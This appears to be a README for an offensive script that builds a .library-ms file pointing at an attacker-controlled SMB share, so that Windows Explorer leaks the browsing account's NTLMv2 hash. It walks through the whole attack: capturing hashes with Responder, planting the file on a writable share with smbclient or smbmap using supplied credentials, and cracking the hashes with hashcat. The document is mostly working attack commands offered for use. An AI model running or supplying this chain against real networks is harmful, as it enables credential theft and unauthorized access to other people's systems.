❀ What it does

Asks for your attack IP and a file name, writes a .library-ms pointing at \\<IP>\share, and packs it into exploit.tar. When Explorer browses the folder the loose .library-ms lands in, it auto-resolves that UNC path and leaks the account's NTLMv2 to your listener — no click needed.

⚠️ The loose .library-ms is what fires — not the .tar. A .tar sitting on the share is inert; Explorer doesn't parse tarballs. You must get the .library-ms itself onto the share as a loose file. How you do that depends on the tool (below).

❀ Run it

uv run coerce_library.py      # or: python3 coerce_library.py

Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms  ->  \\10.10.14.197\share
[+] packed into exploit.tar

❀ Then

1) Listen

sudo responder -I tun0

2) Get the .library-ms onto a writable share

smbclient — upload the .tar, extract it server-side with tar x (drops the loose .library-ms next to it):

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'

smbmap — has no extraction step, so upload the loose .library-ms directly (uploading the .tar here does nothing — it can't unpack it):

smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'

Confirm it landed loose on the share:

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library

3) Crack the captured NTLMv2

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt